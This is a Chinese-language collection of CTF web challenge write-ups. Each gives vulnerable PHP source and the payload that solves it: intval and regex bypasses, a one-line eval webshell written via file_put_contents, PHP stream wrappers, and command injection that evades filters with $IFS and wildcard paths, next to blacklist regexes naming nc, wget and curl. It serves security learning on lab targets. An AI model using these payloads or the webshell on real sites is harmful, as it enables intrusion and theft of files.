源码分析
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num']))
{
$num = $_GET['num'];
if($num==="4396"){
die("no no no!");
}
if(intval($num,0)===4396){
echo $flag;
}
else{
echo intval($num,0);
}
}
?>
4396的八进制数
满足条件intval($num,0)===4396
就可以获取到flag
通过进制转换绕过 if($num===”4396”)
如果字符串包括了 “0x” 或“0X” 的前缀,则代表使用 16 进制 hex;
否则,如果字符串以 “0” 开始,使用 8 进制 octal;
否则,将使用 10 进制 decimal。
这里我以0开始,意思就是后面的数字将被以8进制的形式读取
把4396进行8进制转换
payload:?num=010454
一道简单的正则
考察点:正则表达式修饰符
拓展php
^ 匹配字符串的开始
i 不区分(ignore)大小写
m (more)多行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$ 匹配字符串的结束
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
A 强制从目标字符串开头匹配;
D 如果使用$限制结尾字符,则不允许结尾有换行;
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
需要满足第一个匹配同时不满足第二匹配固定字符串”php”
payload:?cmd=%0aphp
源码分析
<?php
include ("flag.php");
highlight_file(__FILE__);
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num == 4476) {
die("no no no!");
}
if (intval($num, 0) == 4476) {
echo $flag;
} else {
echo intval($num, 0);
}
}
?>
这里使用的是 == 等号
所以可以将4476进行16进制转码
payload: ?num=0x117c
源码分析
<?php
include ("flag.php");
highlight_file(__FILE__);
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num === "4476") {
die("no no no!");
}
if (preg_match("/[a-z]/i", $num)) {
die("no no no!");
}
if (!strpos($num, "0")) {
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
?>
多了正则过滤之前的进制转换不可行了
但是我们可以利用小数4476.0 = 4476
payload: ?num=4476.0
源码分析
<?php
highlight_file(__FILE__);
$allow = array();
for ($i = 36;$i < 0x36d;$i++) {
array_push($allow, rand(1, $i));
}
if (isset($_GET['n']) && in_array($_GET['n'], $allow)) {
file_put_contents($_GET['n'], $_POST['content']);
}
?>
array_push 函数:向数组尾部插入一个或多个元素
这道题可以通过写入文件来读取flag或者直接getshell
rand 函数随机生成数组randmin,max
file_put_contents 函数:写入函数
payload:GET:?n=hack.php
POST传入的参数会写入到hack.php中
二选一
POST:
content=<?php @eval($_REQUEST['hack']);?>
POST:
content=<?php system('cat flag.php');?>
源码分析
<?php
highlight_file(__FILE__);
include ("flag.php");
$flag = new flag();
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v0 = is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if ($v0) {
if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)) {
if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)) {
eval("$v2('flag')$v3");
}
}
}
?>
这里牵扯到的是一个反射类的问题
php反射类 ReflectionClass使用例子
PHP的反射类ReflectionClass、ReflectionMethod使用实例
反射在 PHP 中的应用
反射类可以说成是类的一个映射,可以利用反射类来代替有关类的应用的任何语句
其属性为类的一个名称,这道题目里面类的名称为flag
payload:?v1=1&v2=echo new ReflectionClass&v3=;
举个例子
php
<?php
class hacker{
public $hackername = "hackhello";
const hackhello='nb666';
public function show(){
echo $this->name,'<br>';
}
}
//有这么一个hacker类,假设我们不知道这个类是干什么用的,我们需要知道类里面的信息,这时候就需要用到ReflectionClass来对类进行反射
//现在我可以通过反射来获取这个类中的方法,属性,常量
//通过反射获取类的信息
$reflection = new ReflectionClass('hacker');//实例化反射对象,映射hacker类的信息
$consts = $reflection->getConstants();//获取所有常量
$props = $reflection->getProperties();//获取所有属性
$methods = $reflection->getMethods();//获取所有方法
var_dump($consts);
var_dump($props);
var_dump($methods);
?>
返回值:
php
array(1) {
["hackhello"]=>
string(5) "nb666"
}
array(1) {
[0]=>
&object(ReflectionProperty)#2 (2) {
["name"]=>
string(10) "hackername"
["class"]=>
string(6) "hacker"
}
}
array(1) {
[0]=>
&object(ReflectionMethod)#3 (2) {
["name"]=>
string(4) "show"
["class"]=>
string(6) "hacker"
}
}
如果没有指定方法的话,就会像题目中默认输出很多东西:
1.常量 Contants
2.属性 Property Names
3.方法 Method Names静态
4.属性 Static Properties
5.命名空间 Namespace
6.Person类是否为final或者abstract
7.Person类是否有某个方法
源码分析
<?php
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['v1']) && isset($_GET['v2'])) {
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if (preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)) {
die("error v1");
}
if (preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)) {
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
利用FilesystemIterator获取目录文件FilesystemIterator
getcwd函数取得当前工作目录getcwd函数
playload:v1=FilesystemIterator&v2=getcwd
得到当前目录的第一个FLAG文件名字,然后访问该文件即可。
缺陷:只能获取第一个文件名字
源码分析
<?php
if(isset($_GET['file'])){
$file=$_GET['file'];
$content = file_get_contents($file);
if(preg_match('/flag/',$content)){
echo "hacker!";
}else{
echo $content;
}
}else{
highlight_file(__FILE__);
}
?>
因为过滤了flag字符
所以普通伪协议读不出来
所以先进行一次base64编码再读出来
源码解析
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file) {
if (preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i', $file)) {
die('hacker!');
} else {
return $file;
}
}
$file = $_GET['file'];
if (!is_file($file)) {
highlight_file(filter($file));
} else {
echo "hacker!";
}
?>
因为过滤了filter只能换一种读取方式了
利用读取压缩流
payload:?file=compress.zlib://flag.php
源码解析
<?php
error_reporting(0);
highlight_file(__FILE__);
include ("flag.php");
$a = $_SERVER['argv'];
$c = $_POST['fun'];
if (isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) && !isset($_GET['fl0g'])) {
if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c) && $c <= 18) {
eval("$c" . ";");
if ($fl0g === "flag_give_me") {
echo $flag;
}
}
}
?>
此处的php特性:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了
such as:CTF[SHOW.COM=>CTF_SHOW.COM
payload:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
源码解析
<?php
error_reporting(0);
highlight_file(__FILE__);
include ("flag.php");
$a = $_SERVER['argv'];
$c = $_POST['fun'];
if (isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) && !isset($_GET['fl0g'])) {
if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c) && $c <= 16) {
eval("$c" . ";");
if ($fl0g === "flag_give_me") {
echo $flag;
}
}
}
?>
$argv:传递给脚本的参数数组
详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别
$_SERVER[‘argv’]:
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
我们是在网页模式下的,注意重点:
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
而 $_SERVER[‘QUERY_STRING’] 是获取查询语句,也就是?后面的语句
举个例子
?$fl0g=flag_give_me
$a[0]=$_SERVER[‘argv’][0]=$_SERVER[‘QUERY_STRING’]=>$fl0g=flag_give_me
payload:
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
GET:?$fl0g=flag_give_me;
POST:CTF_SHOW=6&CTF[SHOW.COM=6&fun=highlight_file($_GET[1])
GET:?1=flag.php
将16进制转换成字符得到
一段c语言代码执行后可以得到文件路径
再传入参数路径读取flag文件
payload:
?f=flagx/flagx1/flagx2/flagx3/flag.php
源码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
} else{
die("冲啊,flag就在flag.php里头,把它拿下!");
}
}
?>
利用的是cp命令
把flag.php文件的内容拷贝到666.txt里面
payload:
?F=`$F` ;cp flag.php 666.txt
?F=`$F` ;nl flag.php>666.txt
?F=`$F` ;mv flag.php 666.txt
源码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
class hello {
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['hello']);
调用类中函数,需要调用静态类
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
PSOT传入
payload:hello=hello::getFlag
源码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
class hello {
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['hello'], ":")>-1){
die("private function");
}
call_user_func($_POST['hello']);
php特性:考察了call_user_func用数组形式调用类方法
php
call_user_func(array($classname, ‘say_hello’));
调用classname这个类里的sya_hello方法
array[0]=$classname 类名
array[1]=say_hello say_hello()方法
call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。
payload:hello[0]=hello&hello[1]=getFlag
保存图片
用编辑打开可以看到里面的源码
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
var_dump(system('cat ' . $cmd));
}
} else {
echo 'hello!';
}
?>
payload:?cmd=*.php
一道培根加密题
培根加解密
http://www.hiencode.com/baconian.html
进行解密获得flag
flaggfkqpwepxqmvlwoq
双重加密题
先进行了莫斯电码加密再进行培根加密
按顺序解密就行
莫斯电码加解密
http://www.all-tool.cn/Tools/morse/?&rand=543a5f6f0bec4482aa361eccf2814626
培根加解密
http://www.hiencode.com/baconian.html
进行解密获得flag
flagopophellohackthisoneflagniceo
一道双重编码题
先进行了16进制编码再进行base64编码
先16进制解码,再把base64编码转换成图片
16进制编解码
http://www.hiencode.com/hex.html
base64编解码
http://tool.chinaz.com/tools/imgtobase/
还原出图片后扫码获得flag
flag{ASQW2130DSFJHKLJL}
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.GOOG");
} else{
show_source(__FILE__);
}
?>
get传递参数必须要有URL,然后根据URL里面的内容在系统下自动执行curl命令,解题的巧妙之处在于采用分割符“;”,分开执行命令
构造:?url=1;ls;www
回显:flag.php index.php
继续构造:
payload:?url=1;cat flag.php;www
源码分析
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
} else{
highlight_file(__FILE__);
}
?>
绕过特殊字符过滤
?c=echo `tac fl?g.???`;
?c=echo exec('nl fl?g.???');
?c=echo shell_exec('nl fl?g.???');//此函数与反引号异曲同工
?c=echo passthru('nl fl?g.???');//当所执行的 Unix 命令输出二进制数据,需要直接传送到浏览器的时候,就用他来代替exec和system,调用命令自动去除部分符号:",\
源码分析
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.'/i", $c)){;
eval($c);
}
} else{
highlight_file(__FILE__);
}
?>
考点:针对读取文件的命令进行了禁止,同时单引号、点和空格也没了
payload:
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=print_r(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");
//等价于system(),说明双引号会自动解析
?c=echo`strings%09f*`;
//在对象文件或二进制文件中查找可打印的字符串
源码分析
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.|\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
} else{
highlight_file(__FILE__);
}
payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
知识点:include可以不用括号,分号可以用?>代替
源码分析
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
} else{
highlight_file(__FILE__);
}
1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
0表示键盘输入,1表示屏幕输出,2表示错误输出!
‘ > ’ 默认标准输出重定向,与1>相同
2>&1 意思是把标准错误输出重定向到标准输出
&>file 意思是把标准输出和标准错误输出都重定向到文件file中
而我们想要得到输出,就不能让后面的进行执行,所以可以加上截断语句
payload:
?c=cat flag.php||
?c=cat flag.php%26
?c=cat flag.php%26%26
?c=cat flag.php%0a
?c=cat flag.php;
源码分析
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*/i", $c)){
system($c." >/dev/null 2>&1");
}
} else{
highlight_file(__FILE__);
}
?>
过滤了”/\;|cat|flag| |[0-9]|\$|*/i”用其他命令绕过
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
$IFS\
{cat,flag.php} //用逗号实现了空格功能
%20
%09
payload:
?c=tac%09fla?.php||
?c=nl%09fla''g.php%0a
?c=more%09fl\ag.php%26
源码分析
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
} else{
highlight_file(__FILE__);
}
?>
适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看,将文件进行排序并输出
(11)uniq:可以查看,报告或忽略文件中的重复行
(12)file -f:报错出具体内容
grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
payload:
?c=uniq%09fla?.php%26
?c=od%09fl\ag.php%26%26
?c=vi%09fl\ag.php%26%26
?c=tac%09fl\ag.php||
源码分析
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag| |[0-9]|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|x09|x26|>|</i", $c)){
system($c." >/dev/null 2>&1");
}
} else{
highlight_file(__FILE__);
}
?>
适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看,将文件进行排序并输出
(11)uniq:可以查看,报告或忽略文件中的重复行
(12)file -f:报错出具体内容
grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
payload:
?c=nl$IFS\fla?.php||
?c=nl$IFS\fla\g.php||
源码分析
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|`|%|x09|x26|>|</i", $c)){
system($c);
}
} else{
highlight_file(__FILE__);
}
?>
适用条件:过滤了cat
1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看,将文件进行排序并输出
(11)uniq:可以查看,报告或忽略文件中的重复行
(12)file -f:报错出具体内容
grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
payload:
?c=vi$IFS????????
这个有效 ?c=uniq$IFS????????
?c=/bin/c??$IFS????????
flag是存在一张二维码中
这张图片是被另一张图片盖住了扫不到
但是查看源码可得知图片名
直接访问
/flag.png
查看到图片后扫描二维码获取到flag
flag: THIS_FLAG_PNG_XXX
源码分析
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|[a-z]|`|%|x09|x26|>|</i", $c)){
system($c);
}
} else{
highlight_file(__FILE__);
}
/bin目录
bin为binary的简写主要放置一些 系统的必备执行档
例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
payload:
?c=/???/????64 ????.???
也就是
/bin/base64 flag.php
/usr/bin目录
主要放置一些应用软件工具的必备执行档
例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、
ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
paylaod:
先?c=/???/???/????2 ????.???
然后在url后面加上/flag.php.bz2 下载文件
http://xxxxxxxxxxxxxxxxxx/flag.php.bz2
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.